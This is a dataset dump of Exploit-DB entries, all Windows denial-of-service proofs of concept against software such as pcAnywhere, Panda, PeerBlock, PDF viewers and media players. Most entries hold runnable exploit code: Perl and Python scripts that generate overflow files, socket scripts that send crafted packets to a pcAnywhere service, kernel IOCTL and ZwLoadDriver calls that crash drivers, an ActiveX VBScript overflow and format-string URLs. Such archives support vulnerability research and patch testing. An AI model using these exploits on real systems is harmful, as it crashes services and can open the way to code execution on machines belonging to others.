deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31363
Description: Panda Internet Security/AntiVirus+Firewall 2008 - 'CPoint.sys' Memory Corruption
Type: dos
Platform: windows
Date: 2008-03-08
Author: Tobias Klein

Exploit:
source: https://www.securityfocus.com/bid/28150/info

Panda Internet Security/Antivirus+Firewall 2008 is prone to a vulnerability that allows local attackers to corrupt kernel memory. This vulnerability occurs because the application fails to sufficiently validate IOCTL requests.

Local users may exploit this vulnerability to cause a denial of service or to execute arbitrary code in the context of the kernel. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31363.rar
Exploit-DB #18552
Description: Passport PC To Host - '.zws' File Memory Corruption
Type: dos
Platform: windows
Date: 2012-03-03
Author: Silent_Dream

Exploit:
# Exploit Title: Passport PC To Host Malformed .zws file Memory Corruption
# Date: 3-3-12
# Author: Silent Dream
# Software Link: http://www.zephyrcorp.com/terminal-emulation/
# Version: Latest (2011-506-S)
# Tested on: Windows XP SP3

my $file = "passport_pwn.zws";
my $head = "[Connection]\nHost=";
my $junk = "a" x 150;
open($File, ">$file");
print $File $head.$junk;
close($FILE);
Exploit-DB #9102
Description: PatPlayer 3.9 - '.m3u' Local Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-10
Author: Cyber-Zone

Exploit:
#!/usr/bin/perl
#
#
#
# PatPlayer v3.9 (M3U File) Local Heap Overflow PoC
#
#
# Found By : Cyber-Zone (ABDELKHALEK)
#
#
# Greatz : All friends (Jiko :)) Sec-r1z.CoM ..... IQ-TY ....
#
#
#EAX 41414141
#ECX 00000000
#EDX 004F1FC0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
#EBX 00B928DC
#ESP 0012FD2C
#EBP 0012FD78
#ESI 004F1CCC ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#EDI 004EEA78 PatPlaye.004EEA78
#EIP 00404C59 PatPlaye.00404C59
#
my $Header = "#EXTM3U\n";

my $ex="http://"."A" x 2480; # Random

open(MYFILE,'>>cyber.m3u');

print MYFILE $Header.$ex;

close(MYFILE);

# milw0rm.com [2009-07-10]
Exploit-DB #28513
Description: Paul Smith Computer Services VCAP Calendar Server 1.9 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-09-12
Author: securma massine

Exploit:
source: https://www.securityfocus.com/bid/19959/info

vCAP Calendar Server is prone to a remote denial-of-service vulnerability. This issue is due to a design error.

An attacker can exploit this issue to crash the application, effectively denying service.

vCAP Calendar Server 1.9.0 Beta and prior versions are vulnerable to this issue.

http://www.example.com:6100/StoresAndCalendars List.cgi?session=%d%d%d%d%d
Exploit-DB #30255
Description: PC SOFT WinDEV 11 - '.WDP' File Parsing Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2007-06-28
Author: Jerome Athias

Exploit:
source: https://www.securityfocus.com/bid/24693/info

PC SOFT WinDEV is prone to a stack-based buffer-overflow vulnerability when it attempts to process malformed project files. This issue occurs because the application fails to perform proper bounds-checking on user-supplied data before copying it to an insufficiently sized memory buffer.

An attacker may exploit this issue to execute arbitrary code with the privileges of the user running the vulnerable application or to cause denial-of-service conditions. This may facilitate unauthorized access or privilege escalation.

PC SOFT WinDEV 11 is reported vulnerable; other versions and related products (WinDEV Express, Mobile, and WebDEV) may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30255.zip
Exploit-DB #19453
Description: PC Tools Firewall Plus 7.0.0.123 - Local Denial of Service
Type: dos
Platform: windows
Date: 2012-06-29
Author: 0in

Exploit:
/* 
Exploit Title: PC Tools Firewall Plus Local DoS
Version: 7.0.0.123
Author: 0in (Maksymilian Motyl)
Software Link: www.pctools.com
Tested on: Windows XP SP3
Vendor was notified 25.06.2012 - No reply
*/

// After executing this small code, PC Tools Firewall crashes so it opens the way to malware escalation
#include "stdafx.h"
#include <Windows.h>
 
int _tmain(int argc, _TCHAR* argv[])
{
	for(int i=0;i<512;i++)
		printf(".");
     _asm
     {
          push 0xffffff
          mov eax,61h ;          ZwLoadDriver 
          mov edx,7FFE0300h ; ntdll.KiFastSystemCall
          call dword ptr ds:[edx]
 
     }
 
 
     return 0;
}
Exploit-DB #18493
Description: pcAnywhere 12.5.0 build 463 - Denial of Service
Type: dos
Platform: windows
Date: 2012-02-17
Author: Johnathan Norman

Exploit:
#!/usr/bin/python

'''
Exploit Title:  PCAnywhere Nuke 
Date: 2/16/12
Author: Johnathan Norman  spoofy <at> exploitscience.org  or @spoofyroot
Version:  PCAnyWhere  (12.5.0 build 463) and below
Tested on: Windows
Description: The following code will crash the awhost32 service. It'll be respawned
so if you want to be a real  pain you'll need to loop this.. my inital impressions
are that controlling execuction will be a pain.
'''

import sys
import socket
import argparse


if len(sys.argv) != 2:
    print "[+] Usage: ./pcNuke.py <HOST>"
    sys.exit(1)
HOST = sys.argv[1]
PORT = 5631              
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

    
# HELLO!
s.send("\x00\x00\x00\x00")
buf = s.recv(1024)


# ACK! 
s.send("\x6f\x06\xfe")
buf = s.recv(1024)


# Auth capability part 1 
s.send("\x6f\x62\xff\x09\x00\x07\x00\x00\x01\xff\x00\x00\x07\x00")
# Auth capability part 2
s.send("\x6f\x62\xff\x09\x00\x07\x00\x00\x01\xff\x00\x00\x07\x00")
Exploit-DB #26665
Description: pcAnywhere 8.0/9.0/11.x - Authentication Denial of Service
Type: dos
Platform: windows
Date: 2006-01-17
Author: David Maciejak

Exploit:
source: https://www.securityfocus.com/bid/15646/info

Symantec pcAnywhere is vulnerable to a buffer overflow vulnerability. Because the flaw can be triggered prior to authentication, the vulnerability is exploitable by remote attackers without valid credentials. It is confirmed that the vulnerability can be exploited to cause a denial of service. Supported versions 11.0.1 and 11.5.1 are confirmed affected. Previous versions are vulnerable and users are advised to upgrade to the latest supported version.

Patches are available. 

#!/usr/bin/perl -w
# Version 2.0
#
# PoC for
# pcAnywhere Authentication Denial of Service Vulnerability
# Bugtraq ID: 	15646
#
# Tested on pcanywhere v11.0 and v11.0.1
#
# Author: David Maciejak
# Date: 20060117
#
##############################

use IO::Socket;

if (@ARGV<1)
{
	die "usage: $0 pcanywhere_ip [port]";
}

$host=$ARGV[0];
$port=$ARGV[1] || 5631;

$|=1;

$cl1="\x00\x00\x00\x00";
$cl2="\x6F\x06\xff"; 
$cl3="\x6f\x61\x00\x09\x00\xfe\x00\x00\xff\xff\x00\x00\x00\x00";
$cl4="\x6f\x62\x01\x02\x00\x00\x00";

$sock = IO::Socket::INET->new( PeerAddr => $host,
		 	  PeerPort => $port,
			  Proto => 'tcp'
			);
		
die "Could not create socket: $! \n" unless $sock;

$sock->send($cl1);
$sock->recv($buff,32768);
$sock->send($cl2 x 50);
$sock->recv($buff,32768);
$sock->send($cl3 x 50);
$sock->recv($buff,32768);
$sock->send($cl4);
$sock->recv($buff,32768);

$str='\x06'.'\x04'.'\0xffffffc0'x300;
$sock->send($str x 50);
close $sock;
Exploit-DB #15257
Description: PCDJ Karaoki 0.6.3819 - Denial of Service
Type: dos
Platform: windows
Date: 2010-10-15
Author: MOHAMED ABDI

Exploit:
#Exploit Title :Karaoki Denial of Service Vulnerability
#Software : Karaoki
#Software link : http://software-files-l.cnet.com/s/software/11/43/82/66/pcdj_karaoki_setup_0.6.3819.exe?e=[PII_REDACTED]&h=9dd7fd008e533071b8d4874fd9a01487&lop=link&ptype=1901&ontid=18502&siteId=4&edId=3&spi=918adb963da1de63d1bfc9fd1a36ab5a&pid=11438266&psid=75072918&fileName=pcdj_karaoki_setup_0.6.3819.exe
#Autor : ABDI MOHAMED
#Email : abdimohamed@hotmail.fr
#Software version : n/a
#Tested on : Win7 Ultimate fr

#!/usr/bin/python
outfile="killer.m3u"
junk="\x41" * 105000
FILE=open(outfile, "w")
FILE.write(junk)
FILE.close()
print "[+] File created succesufully ,( the hacker is who create something !!! ) [+]"
Exploit-DB #46709
Description: PCHelpWare V2 1.0.0.5 - 'Group' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-04-16
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: PCHelpWareV2 1.0.0.5 - 'Group' Denial of Service (PoC)
# Date: 15/04/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.uvnc.com/home.html
# Software Link: http://www.uvnc.eu/download/pchw2/PCHelpWareV2.msi
# Version: 1.0.0.5
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "PCHelpWareV2.py", it will create a new file "PCHelpWareV2.txt"
# 2.- Copy the text from the generated PCHelpWareV2.txt file to clipboard
# 3.- Open PCHelpWareV2 Viewer
# 4.- Go to Properties
# 5.- Paste clipboard in 'Group' field and click on button 'Ok'
# 6.- Crashed

buffer = "\x41" * 100
f = open ("PCHelpWareV2.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #46708
Description: PCHelpWare V2 1.0.0.5 - 'SC' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-04-16
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: PCHelpWareV2 1.0.0.5 - 'SC' Denial of Service (PoC)
# Date: 15/04/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.uvnc.com/home.html
# Software Link: http://www.uvnc.eu/download/pchw2/PCHelpWareV2.msi
# Version: 1.0.0.5
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "PCHelpWareV2_create_.py", it will create a image "exploit.bmp"
# 2.- Open PCHelpWareV2 Viewer
# 3.- Go to Tools -> Create SC
# 4.- Click on button -> Browse (any "Browse" button), and select the 'exploit.bmp' image created
# 5.- Click on button -> Create SC
# 6.- Crashed

buffer = "\x41" * 10000

f = open ("exploit.bmp", "w")
f.write(buffer)
f.close()
Exploit-DB #46872
Description: PCL Converter 2.7 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-20
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: VeryPDF PCL Converter v2.7 - Denial of Service (PoC)
# Date: 19/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.verypdf.com
# Software: http://www.verypdf.com/pcltools/pcl-converter.exe
# Version: 2.7
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "PCLConverter.py", it will create a new file "PCLConverter.txt"
# 2.- Copy the text from the generated PCLConverter.txt file to clipboard
# 3.- Open VeryPDF PCL Converter v2.7 
# 4.- Go to 'Setting' > 'PDF Security'
# 5.- Mark 'Encrypt PDF File' and paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'
# 6.- Click on 'Add File(s)', and select a pcl file, e.g. 'sample.pcl'
# 7.- Click on 'Start', you will see a crash

buffer = "\x41" * 3000
f = open ("PCLConverter.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #15458
Description: PCSX2 0.9.7 Beta - Binary Denial of Service
Type: dos
Platform: windows
Date: 2010-11-08
Author: 41.w4r10r

Exploit:
# Exploit Title: PCSX2 v0.9.7 Crash
# Date: 08/11/2010
# Author: 41.w4r10r
# Version: 0.9.7

#Tested on : Windows XP SP2 Eng
# Software Link: http://pcsx2.net/downloads.php?p=publicbeta

#!/usr/bin/python
#PCSX2 is PS2 emulator to play PS2 Games on PC. This emulator is one of the
populer among the gamers.(It Works). PS2 Bios required to run this games.
print "--------------------Exploit By
41.w4r10r------------------------------\n"
print "-------------------41.w4r10r@gmail.com-----------------------------
\n"
print "----------------PCSX2 v0.9.7 PS2
Emulator------------------------------\n"
print "-------------Vendor Site :
http://pcsx2.net/-------------------------\n"
print "-------------Tested on Windows XP Sp2 Eng--------------------\n"
print "Greets: B0nd, nEo, Godwin_Austin, Fb1H2s, Eberly, Punter, The_Empty,
vinnu, primary_key , Micr0 \n \n"
print "  Catch Us :  www.Garage4hackers.com \n \n"

print "Give Me 10Sec To create file :) \n"
junk = "A" * 45000;
filename = "crash.iso";
file = open(filename,"w")
file.writelines(junk)
file.close()
print "File Is created"
print "Press Any Key To Continue........."

raw_input()
Exploit-DB #45389
Description: PDF Explorer 1.5.66.2 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-09-12
Author: Gionathan Reale

Exploit:
# Exploit Title: PDF Explorer 1.5.66.2 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-12
# Software Link: https://www.rttsoftware.com/files/PDFExplorerTrialSetup.zip
# Tested Version: 1.5.66.2
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program. When inside the program click "Database" > "Custom fields settings..."
# Now paste the contents of "exploit.txt" into the fields:"Label"
# Click the "OK" button and you will see a crash!  

#!/usr/bin/python
   
buffer = "A" * 7000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #18463
Description: PDF Viewer Component - ActiveX Denial of Service
Type: dos
Platform: windows
Date: 2012-02-05
Author: Senator of Pirates

Exploit:
Title : PDF Viewer Component ActiveX DoS
Auther : Senator of Pirates
E-Mail : Senator.of.Pirates.team@gmail.com
FaceBook : FaceBook.Com/SenatorofPirates
Software link : http://www.ocxt.com/download/PDFViewerSetup.exe
Date : 05/02/2012
Tested : Windows Xp SP3 EN

eax=00000000 ebx=00000001 ecx=01800990 edx=01800990 esi=10150cd0 edi=000c5f6c
eip=017a7a3e esp=0013c754 ebp=0013c758 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210282
017a7a3e c60000          mov     byte ptr [eax],0           ds:0023:00000000=??
0:000> d eax
00000000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000070  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000> d ebx
00000001  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000011  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000021  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000031  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000041  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000051  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000061  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000071  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

<object classid='clsid:44A8091F-8F01-43B7-8CF7-4BBA71E61E04' id='target' />
<script language='vbscript'>

targetFile = "C:\Program Files\PDFViewer\pdfviewer.ocx"
prototype  = "Invoke_Unknown TitlebarText As String"
memberName = "TitlebarText"
progid     = "PDFViewerLib.PDFViewer"
argCount   = 1

arg1=String(2068, "A")

target.TitlebarText = arg1

</script>
Exploit-DB #39275
Description: PDF-XChange Viewer 2.5.315.0 - Shading Type 7 Heap Memory Corruption
Type: dos
Platform: windows
Date: 2016-01-19
Author: Sébastien Morin

Exploit:
########################################################################################

# Title: PDF-XChange Viewer - Shading Type 7 Heap Memory Corruption 
# Application: PDF-XChange Viewer
# Version 2.5.315.0
# Platform: Windows
# Software Link: http://www.tracker-software.com/
# Date: 2015-11-15
# Author: Sébastien Morin from COSIG
# Contact: https://twitter.com/COSIG_ (@COSIG_)
# Personal contact: https://twitter.com/SebMorin1 (@SebMorin1)

########################################################################################

===================
Introduction:
===================

PDF-XChange Viewer is a proprietary PDF reader for Microsoft Windows available for free. The basic reader, which can be downloaded free of charge, includes extended/markup capabilities such as typing, highlighting, callouts, and notes. Another useful feature is its ability to display PDF files in the "preview" pane of the Windows Explorer without locking the file (and thus allowing for easy setting of metadata info). An advanced paid version is also available.
(https://en.wikipedia.org/wiki/PDF-XChange_Viewer)

########################################################################################

===================
Report Timeline:
===================

2015-11-15 Sébastien Morin from COSIG found the vulnerability;
2015-11-16 Sébastien Morin from COSIG report the vulnerability to vendor;
2015-11-16 Vendor fixed the issue;
2016-01-18 Vendor released fixed version of PDF-XChange Viewer (version 2.5.316.1)
2016-01-18 Advisory Release


########################################################################################

===================
Technical details:
===================

A heap memory corruption occurs when PDF-XChange Viewer handle a invalid Shading Type 7 stream.

An attacker can leverage this vulnerability to potentially execute arbitrary code on vulnerable installations of PDF-XChange Viewer.

########################################################################################

==========
POC:
==========

https://smsecurity.net/pdf-xchange-viewer-shading-type-7-heap-memory-corruption/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39275.zip

########################################################################################
Exploit-DB #9061
Description: PEamp 1.02b - '.m3u' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-01
Author: ThE g0bL!N

Exploit:
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ### ## ##
# #   PEamp 1.02b  (.M3U File) Local Stack Overflow POC                        ##
# #  Download: http://files.brothersoft.com/mp3_audio/players/mp3player.zip    ##
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ### ## ##
my $chars= "A" x 5000;
my $file="dz.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
# usage: amp.exe=> load playlist => dz.m3u => Boom !!! :)

# milw0rm.com [2009-07-01]
Exploit-DB #18475
Description: PeerBlock 1.1 - Blue Screen of Death
Type: dos
Platform: windows
Date: 2012-02-09
Author: shinnai

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

=======================================================================================================
=======================================================================================================
 PeerBlock 1.1 BSOD

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.altervista.org/

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on:
 Microsoft Windows XP Professional
 5.1.2600 Service Pack 3 Build 2600
 X86-based PC

 Info:
 PoC released as is, I have no time at the moment for further investigations

- -----------------------------------------------------------------------
 FILE INFO: (http://www.peerblock.com/)
- -----------------------------------------------------------------------
 File:             C:\Program Files\PeerBlock\pbfilter.sys
 MD5 hash:         2f6e885c432927a186c2e352c8a1cbf4
==============================================================================================================================
==============================================================================================================================

 Proof of concept:

 from ctypes import *
 
 kernel32 = windll.kernel32
 Psapi    = windll.Psapi
 
 if __name__ == '__main__':
     GENERIC_READ  = 0x80000000
     GENERIC_WRITE = 0x40000000
     OPEN_EXISTING = 0x3
     CREATE_ALWAYS = 0x2
 
     SYM_NAME   = "\\\\.\\pbfilter"
     dwReturn      = c_ulong()
     out_buff      = "A" * 4000
     in_buff       = ("")
 
     handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)
     dev_ioct = kernel32.DeviceIoControl(handle, 0xabab, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)

==============================================================================================================================
==============================================================================================================================

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (MingW32)

iQIcBAEBAgAGBQJPM5D3AAoJEJfnJLqVA1kXbmwP/AhtZQ9aRnnfBLK4CmvNEorj
fhacEfnsf95dcGkHB7UDPmUR/vPsOFHzXDNzKQbzV0RAOK8zPDnXWP8X2I8rEnUx
a1ULw0wwo/07R2n4UvbqVDE5Pw3L2ZM9OEBvbg/SmEmPTYmFLXRkl/qwrruOp2be
UJN5Bm8rjOZl9SaOEMb++cdaU1ieKJIsphNPeH7sOpkg3atBmBaJYzCL/Px66/QB
CqjanfugZP6kn6fUo3rbM0LtzHOlMzP/ZCQl5EYK/G98N6YzD9wOuZV4L3foPG6a
8dJg7VpNA+umiKgqQ8iIVb0dvPJy46nn0p9bmcqbyil8S98SHaiqIx5QYyLt1jsG
PVxAhWk0ec0HXAGgBv2vwKMWy85/BhI7ermaoMIHo+fUFjjgu4L3WRwv+E4mZuQD
zUBn/KV6GpWas/zPD41AHWPz0P89V0IMtK5w2DKAejCBoxGyUkNbjBnBClfRmRAL
wukua8ZPp5htGUQomjpjrZIu3d+EtWIG2dFKmUNByUfc3z4anY0MU8Cf+dKOduG4
reNP52yJzbcxdxrAVA/GazE5QhqR0eLIf/oq27Lm1Zma/ZRD1B6h50W5nX8zOgzd
CW5S6xKQpQRytRDfqrGhYAnaHnGlGTmmhQ4rW9twiV8Ygn6Rz8SM9KmkTzM2P55t
+PizKEH12PrXQX8t3GNc
=Sbvp
-----END PGP SIGNATURE-----
Exploit-DB #43826
Description: Peercast < 0.1211 - Format String
Type: dos
Platform: windows
Date: 2015-05-28
Author: GulfTech Security

Exploit:
Peercast Format String Vulnerability

Vendor: peercast.org
Product: Peercast
Version: <= 0.1211
Website: http://www.peercast.org/

BID: 13808 
CVE: CVE-2005-1806 
OSVDB: 16906 
SECUNIA: 15536 
PACKETSTORM: 39355 

Description:
Peercast is a popular p2p streaming media server (similar to shoutcast). There is a serious security issue in peercast versions 0.1211 and earlier that may allow for an attacker to execute arbitrary code on the remote target with the privileges of the user running peercast (usually administrator) or crash the vulnerable server. There is an updated version of peercast available and all users should upgrade as soon as possible. 


Format String Vulnerability:
There is a very dangerous format string issue in peercast that may allow for an attacker to execute arbitrary code on the remote target with the privileges of the user running peercast or crash the vulnerable server. Below is an example of how this vulnerability can be exploited to crash a vulnerable server. 

http://localhost:7144/html/en/index.htm%n 

The problem occurs because of the way some error messages are handled. For example in the above example the peercast server receives a malformed request, so the error routine printed the URL, but the error print routine (because it was a printf type function call) then tries to parse the malicious url. 


Solution:
Thanks to Giles from Peercast for fixing this issue fast and releasing a patch in just a few hours. Now that is a quick turn around!
http://www.peercast.org/forum/viewtopic.php?p=11596 


Credits:
James Bercegay of the GulfTech Security Research Team